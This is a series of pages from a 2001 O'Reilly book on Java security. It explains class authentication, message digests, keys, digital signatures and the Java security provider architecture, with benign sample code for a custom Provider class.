There are a number of popular technologies that solve this problem in a more general case. If all the traffic between your site and www.xyz.com occurs over SSL using an https-based URL, then your browser and the www.xyz.com web server will take care of the details of authentication of all web-based traffic, including the Java-related traffic. That solves the problem at the level of the web browser, but that still is not a complete solution. If the applet needs to open a connection back to www.xyz.com, it must use SSL for this communication as well. And we still have other, non-web-related traffic that is not authenticated.

It would be better still to solve this problem at the network level itself. There are many products from various vendors that allow you to authenticate (and encrypt) all data between your site and a remote site on the network. Using such a product is really the ideal from a design point of view; in that way, all data is protected, no matter what the source of the traffic is. Either of these solutions makes authentication and fingerprinting of Java classes redundant (and they may offer the benefit that the data is actually encrypted when it passes through the network).

Unfortunately, these solutions lead us back to practical considerations: if it's hard for Java environments to share digital keys and to manage cryptographic technology, it's harder still to depend on the network software to manage this process. So while it might be ideal for this problem to be solved for the network as a whole, it's impractical to expect such a solution. Hence, the Java security package offers a reasonable compromise: it allows you to deploy and use trusted (i.e., authenticated) classes, but their use is not mandated, in case you prefer to employ a broader solution to this problem.

Previous | Home | Next
6.5. Summary | Book Index | 7.2. The Role of Authentication
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Role of Authentication (Java Security)

 Java Security Search this book

7.2. The Role of Authentication

In the preceding discussion, we assumed that you want to load classes from www.xyz.com and that you want those classes to be trusted, so that they might have some special permission when they execute on your machine. For example, the spellchecking class might need to open up a local dictionary file to learn how to spellcheck names and other data you customized for the spellchecker.

Do not, however, make the assumption that all classes that are authenticated are therefore to be trusted, or even that all trusted classes should necessarily have the same set of permissions. There's nothing that prevents me from obtaining the necessary information and tools so that I can sign and encrypt all of my classes. When you download those classes, you know with certainty that the classes came from me--they carry my digital signature, and they've been fingerprinted to ensure that they haven't been tampered with.

But that's all the information that you know about these classes. In particular, just because the classes were authenticated does not mean that I didn't put a virus into them that's going to erase all the files on your hard disk. And just because you know that a particular Java applet came from me does not mean that you can necessarily track me down when something goes wrong. If you surf to my home page and run my authenticated applet, then surf to www.sun.com and run their authenticated applet, then surf to www.EvilSite.org and run their authenticated applet, and then two weeks later your hard disk is erased, how will you know which site planted the delayed virus onto your machine? How will you even remember which sites you had visited in the last two weeks (or longer)? If you have an adequate set of backups and other logs, it is conceivable that you might be able to re-create what happened and know at whom to point your finger (and whom to sue), but such a task would be arduous indeed. And if the virus affected your logs, the finger of suspicion might point to the incorrect site.

Hence, the role of authentication of Java classes is not to validate that those classes are trusted or to automatically give those classes special permissions. The role of authentication is to give the user (or, for a corporate network, the system or network administrator) more information on which to base a security policy. A reasonable policy might be that classes that are known to come from www.SpellChecker.com can read the user's personal dictionary file--but that doesn't mean they should necessarily be able to read anything else. A reasonable policy would also be that this type of exception to the general rule about permissions given to network classes is only to be granted in very specific cases to only a few well-known sites, and that unknown but authenticated sites are still considered untrusted.

The moral of the story is that authentication does not magically solve any problem; it is merely a tool that can be used in the pursuit of solutions.

Previous | Home | Next
7.1. The Need for Authentication | Book Index | 7.3. Cryptographic Engines
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Cryptographic Engines (Java Security)

 Java Security Search this book

7.3. Cryptographic Engines

In the next few chapters of this book, we're going to see how Java provides an interface to the algorithms required to perform the sort of authentications we've just talked about. We'll also explore the architecture Java provides for general implementation of these algorithms, including ones (such as encryption) that are not strictly required for authentication. If you're not familiar with the various cryptographic algorithms we've been alluding to so far in this chapter, the next section should sort that all out for you.

Essentially, all cryptographic operations are structured like the diagram in Figure 7-2. Central to this idea is the cryptographic algorithm itself, which is called an engine; the term "algorithm" is reserved to refer to particular implementations of the cryptographic operation. The engine takes some set of input data and (optionally) some sort of key and produces a set of output data. A few points are relevant to this diagram. There are engines that do not require a key as part of their input. In addition, not all cryptographic engines produce symmetric output--that is, it's not always the case that the original text can be reconstructed from the output data. Also, the size of the output is typically not the same as the size of the input. In the case of message digests and digital signatures, the output size is a small, fixed-size number of bytes; in the case of encryption engines, the output size is typically somewhat larger than the input size.

Figure 7-2. A cryptographic engine for encryption

In the Java security package, there are two standard cryptographic engines: a message digest engine and a digital signature engine. In addition, for some users, an optional engine is available to perform encryption. Finally, because keys are central to the use of most of these engines, there is a wide set of classes that operate on keys, including engines that can be used to generate certain types of keys. The term "engine" is also used within the security package to refer to other classes that support these operations.

7.3.1. Message Digests

Message digests are the first cryptographic engines we'll examine. A message digest is the digital fingerprint we alluded to earlier. Conceptually, a message digest is a small sequence of bytes that is produced when a given set of data is passed through the message digest engine. Unlike other cryptographic engines, a message digest engine does not require a key to operate. It takes a single stream of data as its input and produces a single output. We call the output a message digest (or simply a digest, or a hash), and we say that the digest represents the input data.

The digest that corresponds to a particular set of data does not reflect any information about that data--in particular, there is no way to tell from a digest how much data it represents, or what the data actually was. A message digest is useful only when the data it represents is also available. If you want to determine whether a particular digest represents a particular set of data, you must recalculate the digest and compare the newly calculated digest with the original digest. If the two are equal, you've verified that the original digest does indeed represent the given set of data.

Data that is fed into a message digest engine is always treated as an ordered set of bytes. If even one byte of the data is altered or absent (or presented out of order), the digest will be different. Hence, a typical message digest algorithm has an internal accumulator that operates on all data fed into the engine. As each byte of data is fed into the engine, it is combined with the data in the accumulator to produce a new value, which is stored in the accumulator to provide input (see Figure 7-3).

Figure 7-3. The message digest accumulator

As a simple example, consider a message digest algorithm based on the exclusive-or of all the input bytes. The accumulator starts with a value of 0. If the string "O Time, thou must untangle this" is passed to the engine, the engine considers the bytes one at a time.[2] The first byte, "O", has a value of 0x4f, which will xor with the accumulator to provide a value of 0x4f. The next byte, a space (0x20), will xor with the accumulator to produce a value of 0x6f. And so on, such that the final result of the accumulator is 0x67.

[2]Don't be confused by the fact that we're dealing in bytes here, when the characters in a Java string are two bytes long. The data passed to the message digest engine is treated as arbitrary binary data--it doesn't matter if the data was originally ASCII (that is, byte-oriented) data, or a Java character string, or a binary class file.

There are a few differences between this example and a real message digest algorithm. First, standard algorithms typically operate on 4- or 8-byte quantities, so the bytes that are fed into the engine are first grouped into ints or longs, with padding added if the input data is not a multiple of the desired quantity. Second, they produce a digest that is usually 64 or 128 bits long, rather than a single byte; this final digest may be the value left in the accumulator, or it may be the value left in the accumulator subjected to additional operations.

The difference in the output size is one of the crucial differences. At best, the example we just walked through could produce 256 different digests. Any two given inputs have a 1 in 256 chance of producing the same digest, which is clearly not a sufficient guarantee that a digest represents a given set of data. In the example above, the string "O Time, thou must untangle this" produced a digest of 0x67--but so does the string "g". An algorithm that produces a 64-bit digest, on the other hand, produces over 18 quintillion unique digests, so that the odds that two data sequences will produce the same digest are very remote indeed.

This brings us to another of the crucial differences--a successful message digest algorithm must provide an assurance that it is computationally infeasible to find two messages that produce the same digest. This ensures that a new set of data cannot be substituted for the original data so that each produces the same digest.

Note also that a message digest in itself is not a secure entity. A digest is often provided with the data it represents; the recipient of the data then recalculates the digest to make sure that the data was not originally tampered with. But nothing in this scenario prevents someone from modifying both the original data and the digest, since both are transmitted, and since the calculation of the digest is a well-known operation requiring no key. Digests are an important piece of a digital signature, as we'll see in just a bit.

7.3.2. Cryptographic Keys

The second engine we'll look at generates cryptographic keys. Keys are the basis for many cryptographic operations. In its simplest sense, a key is a long string of numbers--not just any string of numbers, but a string of numbers that has very strict mathematical properties. The mathematical properties a key must have vary based on the cryptographic algorithms it is going to be used for, but there's an abstract (logical) set of properties all keys must have. It's this abstract set of properties that we'll see in the Java security package.

In the realm of cryptography, keys can either come alone (in which case they are called secret keys) or in pairs. A key pair has two keys, a public key and a private key. So altogether there are three types of keys--secret, public, and private--but from an algorithmic perspective, there are two types of keys, shared and secret.

When an algorithm requires a secret key, both parties using the algorithm will use the same key. Both parties must agree to keep the key secret, lest the security of the cryptography between the parties be compromised.

The secret key approach suffers from two problems. First, it requires a separate key for every pair of parties that need to send encrypted data. If you want to send your encrypted credit card data to ten different Internet stores, you would need ten different keys. Worse yet, if you operated an Internet store and had millions of customers, you would need literally millions of keys--one per customer. Management of such keys is a very hard problem.

The other problem with this approach is coming up with a method for sharing the keys. It's crucial that the key be kept secret, since anyone with the key can decrypt the data to be shared. Hence, you can't simply send the key over the network without somehow encrypting the key itself; doing so would be tantamount to sending the data itself unencrypted.

For these reasons, most keys in the security package are parts of public key/private key pairs (the exception to this is the encryption engine, which can use any type of key, and which provides a mechanism to share secret keys). Public and private keys can provide asymmetric operation to cryptographic engines. The public key can be used by one party participating in the algorithm, and the private key can be used by the other party.

The usefulness of this type of key pair is that one key can be published to the world. You can email your public key to your friends (and your enemies), you can put it on a global key server somewhere, you can broadcast it on the Internet--as long as you don't lose your private key, you can do anything you like with your public key.

Then, when someone wants to send you some sensitive information, they can use your public key to encrypt the data--and as long as you have kept your private key private, you'll be the only one who is actually able to decrypt the data. Similarly, when you want to send sensitive data to someone, all you need is their public key; when the data has been encrypted with the public key, you know that only the holder of the private key will be able to read what you've sent them. In the area of digital signatures, this key ordering is reversed: you sign a document with your private key, and the recipient of the document needs your public key in order to verify the digital signature.

Public key encryption is not without its key management problems as well, however. When you receive a digitally signed document, you need the public key of the signer of the document. The mechanism to obtain that key is very fluid; there are a number of proposals for centralized key warehouses that would hold public keys and for methods to access those keys, but the infrastructure to make this all a reality is not really in place. Hence, users of public keys have adopted a variety of techniques for obtaining the public keys.

7.3.3. Digital Signatures

The primary engine in the security package (at least as far as authentication goes) is the digital signature engine. Like a real signature, a digital signature is presumed to identify uniquely an entity (that is, an individual or an organization). Like a real signature, a digital signature can be forged, although it's much harder to forge a digital signature than a real signature.[3]Forging a digital signature requires access to the private key of the entity whose signature is being forged; this is yet another reason why it is important to keep your private keys private. Like a real signature, a digital signature can be "smudged" so that it is no longer recognizable. And because they're based on key certificates, digital signatures have other properties, such as the fact that they can expire.

[3]On the other hand, a forged digital signature is undetectable, unlike a forged real signature.

Digital signatures rely on two things: the ability to generate a message digest, and the ability to encrypt that digest. The entire process is shown in Figure 7-4.

Figure 7-4. Generating a digital signature

The process is as follows:

  1. A message digest is calculated that represents the input data.

  2. The digest is then encrypted with the private key.

Note that encryption is performed on the digest and not on the data itself. In order to present this signature to another entity, you must present the original data with it--the signature is just a message digest, and, as we mentioned earlier, you cannot reconstruct the input data from the message digest.

Verifying a digital signature requires the same path; the message digest of the original data must be calculated. This digest is then passed through the encryption engine, but this time, the public key of the signer is used. If the digital signature produced by this operation is the same as the digital signature that was presented, the digital signature is deemed valid. Alternately, for some digital signature algorithms, the signed digest could be decrypted with the public key, and the digests compared.

Nothing prevents the signed data from being intercepted. So the data that accompanies the digital signature cannot be sensitive data; the digital signature only verifies that the message came from a particular entity, but it does not actually protect that message.

However, just because someone can snoop the signed data does not mean that it can be tampered with--if the data is altered, it will not produce the same message digest, which in turn will not produce the same digital signature. And it's impossible to change the data, generate a new digest of that data, and then regenerate the digital signature without access to the private key. It is, however, possible to replace one message that was signed by a private key with another message that was signed by that same private key.

7.3.4. Encryption Engines

The final engine we'll discuss handles actual encryption. This engine is part of the Java Cryptography Extension (JCE) rather than the security package itself, and there are various rules on who may and may not obtain the JCE (at least from Sun or other U.S. companies). Encryption engines handle the encryption and decryption of arbitrary data, just as we would expect. An important thing to note is that the encryption engines that are part of the JCE are not used in the generation and verification of digital signatures--digital signatures use their own algorithms to encrypt and decrypt the message digest that are suitable only for manipulating data the size of a message digest. This difference allows the digital signature engine to be exportable, where the encryption engines are not.

Previous | Home | Next
7.2. The Role of Authentication | Book Index | 7.4. Summary
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Summary (Java Security)

 Java Security Search this book

7.4. Summary

Much of the Java security package is made up of a collection of engines, the basic properties of which we've outlined in this chapter. As a unit, these engines allow us primarily to create digital signatures--a useful notion that authenticates a particular piece of data. One thing that a digital signature can authenticate is a Java class file, which provides the basis for a security manager to consider a class to be trusted (as least to some degree), even though the class was loaded from the network.

The security package, like many Java APIs, is actually a fairly abstract interface that several implementations may be plugged into. Hence, another feature of the security package is its infrastructure to support these differing implementations. In the next chapter, we'll explore the structure of the security package and how it supports these differing implementations; we'll then proceed into how to use the engines of the security package.

Previous | Home | Next
7.3. Cryptographic Engines | Book Index | 8. Security Providers
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Security Providers (Java Security)

 Java Security Search this book

Chapter 8. Security Providers

Contents:

The Architecture of Security Providers
The Provider Class
The Security Class
The Architecture of Engine Classes
Summary

The cryptographic engines in Java that provide for digital signatures, message digests, and the like are provided as a set of abstract classes in the Java security package. Concrete implementations of these classes are provided by Sun in the JDK, and you also have the option of obtaining third-party implementations of these engines. All of this is made possible through the security provider infrastructure. The provider infrastructure allows concrete implementations of various classes in the security package to be found at runtime, without any changes to the code. In terms of programming, the infrastructure provides a consistent API that can be used by all programs, regardless of who is providing the actual implementation.

Like many other tools discussed in this book, security providers are useful only to developers and users of Java applications. Java-enabled browsers do not implement the security provider infrastructure, nor do they implement any of the cryptographic engines we discuss in the remainder of this book. On the other hand, one of the key features of the Java Plug-in for Internet Explorer and Netscape Communicator is that it does implement the entire security provider infrastructure for use within a browser (subject to the restrictions that might be in place by the access controller and security manager). All the features discussed in this chapter are available in both Java 1.1 and 1.2,[1] with some slight differences we'll mention.

[1]1.2 is now Java 2.

In terms of actual programming, the classes we're going to examine in this chapter are rarely used--hence, we will not delve much into programming. For most developers, end users, and administrators, this chapter focuses on the architecture of the security provider, since that gives us the ability to substitute new implementations of the cryptographic engines we'll use in the rest of the book. Following that discussion, we'll move into the implementation of the architecture, for those readers who are interested in the details.

8.1. The Architecture of Security Providers

The security provider abstracts two ideas: engines and algorithms. In this context, "engine" is just another word for operation; there are certain operations the security provider knows about, and in Java, these operations are known as engines. An algorithm defines how a particular operation should be executed. An algorithm can be thought of as an implementation of an engine, but that can lead to confusion, because there may be several implementations of an algorithm.

As a simple example, the Java security package knows about message digests. A message digest is an engine: it is an operation a programmer can perform. The idea behind a message digest is independent of how any particular message digest may be calculated. All message digests share certain features, and the class that abstracts these common features into a single interface is termed an engine. Engines are generally abstract, and are always independent of any particular algorithm.

A message digest may be implemented by a particular algorithm, such as MD5 or SHA. An algorithm is generally provided as a concrete class that extends an abstract engine class, completing the definition of the class. However, there may be many classes that provide a particular algorithm; you may have an SHA class that came with your Java platform, and you may also have obtained an SHA class from a third party. Both classes should provide the same results, but their internal implementations may be vastly different.

Security providers are the glue that manages the mapping between the engines used by the rest of the security package (such as a message digest), the specific algorithms that are valid for those engines (such as an SHA digest), and the specific implementations of that algorithm/engine pair that might be available to any particular Java virtual machine. The goal of the security provider interface is to allow an easy mechanism where the specific algorithms and their implementations can be easily changed or substituted. The security provider allows us to change the implementation of the SHA digest algorithm that is in use, and to introduce a new algorithm to generate a digest.

Hence, a typical programmer only uses the engine classes to perform particular operations. You don't need to worry about the classes that actually perform the computation. The engine classes provide the primary interface to the security package.

8.1.1. Components of the Architecture

The architecture surrounding all of this has these components:

Engine classes

These classes come with the Java virtual machine as part of the core API.

Algorithm classes

At the basic level, there is a set of classes that implement particular algorithms for particular engines. A default set of these classes is provided by the supplier of the Java platform, and other third-party organizations (including your own) can supply additional sets of algorithm classes. These classes may implement one or more algorithms for one or more engines; it is not necessary for a set of classes from a particular vendor to implement all possible algorithms or all possible engines. A single algorithm class provides a particular algorithm for a particular engine.

The Provider class

Each set of algorithm classes from a particular vendor is managed by an instance of the class Provider. A provider knows how to map particular algorithms to the actual class that implements the operation.

The Security class

The Security class maintains a list of the provider classes and consulting each in turn to see which operations it supports.

In later chapters, we'll look at the individual algorithms and engines of this architecture; for now, we'll discuss the Provider and Security classes. These two classes together make up the idea of a security provider.

The security providers rely on cooperation between themselves and the rest of the Java security package in order to fulfill their purpose. The details of this cooperation are handled for us--when we use the MessageDigest class to generate a digest, for example, it's the responsibility of the MessageDigest class to ask the Security class which particular class to use to generate the digest. The Security class in turn asks each of the providers whether or not they can supply the desired digest.

So a typical program that wants to use the security package does not interact directly with the security provider. Instead, the security provider provides its usefulness transparently to the programmer and to the end user. An end user, a system administrator, or a developer can configure the security provider; this is a result of the security provider being based on a set of provider classes. While there is a default provider class, the end user or system administrator can replace the default provider with another class. In addition, a user or programmer can augment the default provider class by adding additional provider classes.

When the security package needs to perform an operation, it constructs a string representing that operation and asks the Security class for an object that can perform the operation with the given algorithm. For example, the idea of generating a message digest is represented by a particular engine; its name (i.e., MessageDigest) is the first component in the request to the security provider. There can be many algorithms that can provide a message digest. SHA-1 and MD5 are the two most common, though we'll explore other possibilities when we look in depth at the corresponding classes that handle digests in Java. So the name of the algorithm (e.g., MD5) forms the second component of the string provided to the security class. These components are concatenated into a single string separated by a dot (e.g., MessageDigest.MD5).

Nine cryptographic engines are supported in the Java security package. In addition, thirteen cryptographic algorithms are common enough to have standard names recognized by the Java security package. However, not every algorithm can be used to perform every operation; the valid combinations Java supports are listed in Table 8-1. Italicized entries are operations that the Java security specification defines as legal, but are not implemented by the default security provider.

Table 8-1. Security Features and Algorithms Expected in the Security API

Engine | Algorithm Name
AlgorithmParameters figure | DSA
AlgorithmParameterGenerator figure | DSA
CertificateFactory | X509
KeyFactory figure | DSA
KeyPairGenerator | DSA
KeyPairGenerator | RSA
KeyStore | JKS
MessageDigest | MD5
MessageDigest | SHA-1
MessageDigest | MD2
SecureRandom | SHA1PRNG
Signature | DSA[2]
Signature | MD2/RSA
Signature | MD5/RSA
Signature | SHA-1/RSA

[2]This becomes SHA/DSA in Java 1.2, though DSA is still accepted.

The names in this table are the strings passed to the security provider in order for it to find the class implementing the operation. In addition, the security provider can be passed certain alias strings that map an alias to one of these valid strings. For example, although the standard name of the secure hash algorithm is SHA-1 (to distinguish it from SHA-0, the first such algorithm, which is now obsolete), this algorithm is often referred to as SHA. So while

Class Definition

MessageDigest.SHA-1

is a valid string to pass to the security provider, there is a way to construct alias strings so that the alias refers to the original algorithm. Such a string has the form:

Class Definition

Alg.Alias.MessageDigest.SHA

This string specifies to the security provider that SHA is a valid name for the message digest operation implemented by this provider. We'll see an example of this alias in use when we discuss the Provider class.

A word about the algorithm names in Table 8-1: Though the documentation for the Java security package talks about these algorithm names as the valid names that are supported by Java, that notion is not very helpful. As the entries in italics show, not all pairs of engines and algorithm names are provided by the default JDK. So, even though it's reasonable to ask the Java security package for an engine that provides digital signatures using an RSA algorithm, you won't be successful in obtaining such an engine unless you've installed special software to provide it. Similarly, although these are the supported algorithm names, there's nothing that prevents us from using another name to refer to a new algorithm. If you develop a new algorithm that performs a message digest operation, you can give that algorithm whatever name you like and use that name freely within the Java security package.

As it happens, there are many standard algorithms that have well-known names which are not included in the set of names that the Java security specification defines; there are some six to eight well-known message digest algorithms even though the Java documentation mentions only three of them. Nothing prevents you from using any of these algorithms.

In fact, the default security provider in Sun's provider uses other names for the algorithms it does implement, although those names are undocumented. On the other hand, it is not very useful to have arbitrary names for algorithms; these other names that the Sun provider uses are known as OID names. OID stands for Object IDentifier and is a way that some algorithm names are standardized by the U.S. government. If you're used to dealing with algorithm definitions at that level, rest assured that the Sun provider has aliases for them, but for our purposes, we'll stick with the default names.

8.1.2. Choosing a Security Provider

When the Java virtual machine begins execution, it is responsible for consulting the user's properties in order to determine which security providers should be in place. These properties must be located in the file $JAVAHOME/lib/security/java.security. In the reference release of the JDK, this file contains this line (among others):

Class Definition

security.provider.1=sun.security.provider.Sun

This line tells us that there is at least one provider class that should be consulted, and that class should be an instance of the sun.security.provider.Sun class.

Each provider given in this file must be numbered, starting with 1. If you want to use an additional provider, you can edit this file and add that provider at the next number. Say that you obtain a security provider from XYZ Corporation. When you obtain this provider, you are told that the provider's class name is com.xyz.XYZProvider; hence, you add this line to the java.security file:

Class Definition

security.provider.2=com.xyz.XYZProvider

Note that there's no reason why the new provider class had to be added at position 2--it would have been perfectly acceptable to add the XYZProvider class as security.provider.1 if the sun.security.provider.Sun class were changed to security.provider.2 (or, alternately, removed altogether). The Security class keeps the instances of the providers in an array so that each class is found at the index specified in the java.security file. As long as the providers in the java.security file begin with 1 and are numbered consecutively, they may appear in any order.

The numbers in this example are significant; when the Security class is asked to provide a particular engine and algorithm, it searches the listed providers in order to find the first one that can supply the desired operation. All engine classes use the security class to supply objects. When the message digest engine is asked to provide an object capable of generating SHA message digests, the engine will ask the Security class which provider to use. If the first provider in the list can perform SHA message digests, that provider will be used. Otherwise, the second provider is checked, and so on, until there are no providers left (and an exception is thrown) or until a provider that implements the desired operation is found. Hence, the number that follows the security.provider string indicates the order in which providers will be searched for particular implementations.

For end users and administrators, that's all there is to adding new security providers. For developers, there is also a programmatic way in which a security provider may be added; we'll explore that when we discuss the interface of the Security class. But as we mentioned earlier, the programmatic interface provided by the two classes we're about to discuss is not often needed; you'd need them only if you wanted to supply your own security provider, or if you wanted to inspect or set programmatically the list of existing providers. Otherwise, the classes are interesting only because they are used by the engine classes we'll begin to examine in the next chapter.

Previous | Home | Next
7.4. Summary | Book Index | 8.2. The Provider Class
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Provider Class (Java Security)

 Java Security Search this book

8.2. The Provider Class

The first class we'll examine in depth is the Provider class (java.security.Provider).

public abstract class Provider extends Properties

This class forms the basis of the security provider architecture. There is normally a standard subclass that implements a default security feature set; other classes can be installed to implement other security algorithms.

In the core Java API, the Provider class is abstract, and there are no classes in the core Java API that extend the Provider class. The default provider class that comes with the reference JDK is the class Sun in the sun.security.provider package. However, since this class is in the sun package, there's no guarantee that it will be available with every implementation of the Java virtual machine.

In theory, this should not matter. The concepts of the security package will work according to the specification as long as the Java implementation provides an appropriate provider class and appropriate classes to perform the operations a Java program will expect. The exact set of classes a particular program may expect will depend, of course, on the program. In the next section, we'll discuss how different implementations of the Provider class may be loaded and used during the execution of the virtual machine.

8.2.1. Using the Provider Class

The Provider class is seldom used directly by a programmer. This class does contain a number of useful miscellaneous methods we'll review here; these methods are generally informational and would be used accordingly.

public String getName()

Return the name of the provider.

public double getVersion()

Return the version number of the provider.

public String getInfo()

Return the info string of the provider.

public String toString()

Return the string specifying the provider; this is typically the provider's name concatenated with the provider's version number.

As an extension of the Properties class, the Provider class also shares its public interface. Beginning in Java 1.2, the Provider class overrides three of those methods:

public synchronized void clear() figure

If permission is granted, clear out all entries from the provider.

public synchronized Object put(Object key, Object value) figure

If permission is granted, add the given property, keyed off the given key.

public synchronized Object remove(Object key) figure

If permission is granted, remove the object associated with the given key.

Permission to perform these last three options is granted if the checkSecurityAccess() method grants permission based on the argument string (which is clearProviderProperties, putProviderProperty, and removeProviderProperty, respectively) as follows: argument + getName().

Since the interface to this class is simple, we won't actually show how it is used, although we will use some of these methods later in this chapter. Note also that there is no public constructor for the Provider class--a provider can only be constructed under special circumstances we'll discuss later.

8.2.2. Implementing the Provider Class

If you're going to provide your own set of classes to perform security operations, you must extend the Provider class and register that class with the virtual machine. In this section, we'll explore how to do that. Most of the time, of course, you will not implement your own Provider class--you'll just use the default one, or perhaps install a third-party provider using the techniques that we explore in the next section.

Although the Provider class is abstract, none of its methods are abstract. This means that implementing a provider is, at first blush, simple: all you need do is subclass the Provider class and provide an appropriate constructor. The subclass must provide a constructor, since there is no default constructor within the Provider class. The only constructor available to us is:

protected Provider(String name, double version, String info)

Construct a provider with the given name, version number, and information string.

Hence, the basic implementation of a security provider is:

Class Definition

public class XYZProvider extends Provider {
    public XYZProvider() {
        super("XYZ", 1.0, "XYZ Security Provider v1.0");
    }
}

Here we're defining the skeleton of a provider that is going to provide certain facilities based on various algorithms of the XYZ Corporation. Throughout the remainder of this book, we'll be developing the classes that apply to the XYZ's cryptographic methods, but they will be examples only--they lack the rigorous mathematical properties that these algorithms must have. In practice, you might choose to implement algorithms that correspond to the RSA algorithms for the cryptographic engines.

Note that we used a default constructor in this class rather than providing a constructor similar to the one found in the Provider class itself. The reason for this has to do with the way providers are constructed, which we'll discuss at the end of this section. When you write a provider, it must provide a constructor with no arguments.

This is a complete, albeit useless, implementation of a provider. In order to add some functionality to our provider, we must put some associations into the provider. The associations will perform the mapping that we mentioned earlier; it is necessary for the provider to map the name of an engine and algorithm with the name of a class that implements that operation. This is why the Provider class itself is a subclass of the Properties class--so that we can make each of those associations into a property.

The operations that our provider will be consulted about are listed in Table 8-2. In this example, we're going to be providing an SHA-1 algorithm for performing message digests, since that would be needed as part of the signature generation algorithm we want to implement. There's no absolute requirement for this; we could have depended on the default Sun security provider to supply this algorithm for us. On the other hand, there's no guarantee that the default security provider will be in place when our security provider is installed, so it's a good idea for a provider to include all the algorithms it will need.

Table 8-2. Properties Included by Our Sample Provider

Property

Corresponding Class

Class Definition

Signature.SHA-1/XYZ

Class Definition

XYZSignature

Class Definition

KeyPairGenerator.XYZ

Class Definition

XYZKeyPairGenerator

Class Definition

MessageDigest.XYZ

Class Definition

XYZMessageDigest

Class Definition

MessageDigest.SHA-1

Class Definition

SHA1MessageDigest

In order to make these associations from this table, then, our XYZProvider class needs to look like this:

Class Definition

public class XYZProvider extends Provider {
    public XYZProvider() {
        super("XYZ", 1.0, "XYZ Security Provider v1.0");
        put("Signature.SHA-1/XYZ", "com.xyz.XYZSignature");
        put("KeyPairGenerator.XYZ", "com.xyz.XYZKeyPairGenerator");
        put("MessageDigest.XYZ", "com.xyz.XYZMessageDigest");
        put("MessageDigest.SHA-1", "com.xyz.SHA1MessageDigest");
        put("Alg.Alias.MessageDigest.SHA", "SHA-1");
    }
}

The only properties a provider is required to put into its property list are the properties that match the engine name and algorithm pair with the class that implements that operation. In this example, that's handled with the first four calls to the put() method (but remember too that the provider can implement as few or as many operations as it wants to; it needn't implement more than a single engine with one algorithm, or it can implement dozens of engine/algorithm pairs). Note that the class name is the fully qualified package name of the class.

The provider also has the opportunity to set any other properties that it wants to use. If the provider wants to set aliases (as we've done with the final call to the put() method, using the syntax we showed earlier), it's free to do so. Our example allows the program using this provider to request an SHA message digest in addition to requesting an SHA-1 digest. Doing this for SHA is highly advisable, since that algorithm is typically referred to as SHA rather than SHA-1, but that's the only common case where that aliasing is needed.

A provider can set any other arbitrary properties that it wants as well. For instance, a provider class could set this property:

Class Definition

put("NativeImplementation", "false");

if it wanted the classes that use the provider to be able to determine if this particular XYZ implementation uses native methods.[3] It can also use the convention that certain properties are preceded with the word Alg and contain the algorithm name, like this:

[3]RSA algorithms often use native methods, because there are existing implementations of them that are written in C and have gone through an extensive quality acceptance test that many commercial sites have a level of confidence in. However, many third-party RSA implementations do not use native methods.

Class Definition

put("Alg.NativeImplementation.XYZ", "false");

There's no advantage to setting any additional properties--nothing in the core JDK will use them. They can be set to make the classes that accompany your provider class easier to write--for example, your XYZSignature class might want to inquire which particular providers have a native method implementation of the XYZ algorithm. Whatever information you put into your provider and how your accompanying classes use that information is a design detail that is completely up to you. The Security class will help you manage the information in these properties; this relationship to the Security class is the reason why we used a string value for the NativeImplementation property rather than a Boolean value.

There's one more nonpublic method of the Provider class that is used by the security API:

static Provider loadProvider(String className)

Instantiate a provider that has as its type the given class. This method is provided mostly for convenience--it simply loads the given class and instantiates it. However, this method also ensures that the loaded class is an instance of the Provider class.

This method creates an instance of a provider. The importance of this method stems from how it performs its task: it creates the instance of the provider object by calling the newInstance() method of the Class class. In order for that operation to succeed, the provider class must therefore have a default constructor--that is, a constructor that requires no arguments. This is why in our example we provided such a constructor and had the constructor hardwire the name, version number, and information string. We could have provided an additional constructor that accepts those values as parameters, but it would never be called, since the only way in which the virtual machine uses providers is to load them via this method.

In the next section, we'll look into the details of how the virtual machine loads those provider classes we want to use.

Previous | Home | Next
8.1. The Architecture of Security Providers | Book Index | 8.3. The Security Class
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Security Class (Java Security)

 Java Security Search this book

8.3. The Security Class

The Security class (java.security.Security) is responsible for managing the set of provider classes that a Java program can use, and forms the last link in the architecture of the security provider. This class is final, and all its methods are static (except for its constructor, which is private). Like the System and Math classes, then, the Security class can never be created or subclassed; it exists simply to provide a placeholder for methods that deal with the java.security package.

Earlier, we explained how to add entries to the java.security file to add new providers to the security architecture. The same feat can be accomplished programmatically via these methods of the Security class:

public static int addProvider(Provider provider)

Add a new provider into the list of providers. The provider is added to the end of the internal array of providers.

public static int insertProviderAt(Provider provider, int position)

Add a new provider into the internal array of providers. The provider is added at the specified position; other providers have their index changed if necessary to make room for this provider. Position counting begins at 1.

The notion that these classes are kept in an indexed array is important; when the Security class is asked to provide a particular algorithm for an operation, the array is searched sequentially for a provider that can provide the requested algorithm for the requested operation.

As an example, let's use a modification of the XYZProvider class that we outlined earlier. This class comes with a set of classes to perform generation of key pairs, and it can generate key pairs according to two algorithms: DSA and XYZ. The XYZProvider class, according to an entry added to the java.security file, has been added at position 2. Additionally, let's say that our Java program has installed an additional provider class at position 3 called the FooProvider that can generate key pairs and digital signatures according to a single algorithm known as Foo. This leaves us with the set of provider classes listed in Table 8-3.

Table 8-3. Sample Security Providers

Sun Provider

XYZ Provider

Foo Provider

Class Definition

Signature Engines
    DSA

Class Definition

Signature Engines
    XYZ
    DSA

Class Definition

Signature Engines
    Foo

Class Definition

Message Digest Engines
    MD5

Class Definition

Message Digest Engines
    XYZ
    SHA

Class Definition

Message Digest Engines
    None

Class Definition

Key Pair Engines
    DSA

Class Definition

Key Pair Engines
    XYZ
    DSA

Class Definition

Key Pair Engines
    Foo

Now when our Java program needs to generate a key pair, the security provider is consulted as to which classes will implement the key pair generation we want. If we need to generate a DSA key, the security provider returns to us a class associated with the Sun provider class, since the Sun provider, at position 1, is the first class that says that it can perform DSA key generation. If we had reversed the order of indices in the java.security file so that the Sun provider was at position 2 and the XYZ provider was at position 1, a class associated with the XYZ provider would have been returned instead. Similarly, when we request a Foo key pair, a class associated with the Foo provider is returned to us, regardless of what index it occurs at, since that is the only provider class that knows how to perform Foo key generation.

